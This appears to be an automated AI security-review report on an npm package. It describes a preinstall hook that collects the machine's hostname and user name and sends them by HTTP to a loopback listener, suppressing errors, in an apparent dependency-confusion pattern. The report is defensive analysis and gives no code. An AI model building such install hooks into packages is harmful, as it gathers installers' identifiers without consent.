AI Security Review

scanned 25d ago · by lpm-firewall-ai

The package contains concrete, automatic install-hook data collection and transmission. Its loopback destination does not remove the unconsented collection behavior or the risk from a local listener.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation, before package installation completes.

Impact

A local process listening on the specified port can receive the installing machine's host and user identifiers.

Mechanism

The hook invokes Node, reads operating-system host and user information, and makes an HTTP request while hiding errors.

Attack narrative

Installing the package activates its preinstall hook without a user command. The hook gathers the machine hostname and current account name, then transmits them in an HTTP request to a loopback listener. Error output is redirected away, reducing visibility of failures. The hook's diagnostic text also indicates dependency-confusion execution.

AI rationale

The package contains concrete, automatic install-hook data collection and transmission. Its loopback destination does not remove the unconsented collection behavior or the risk from a local listener.
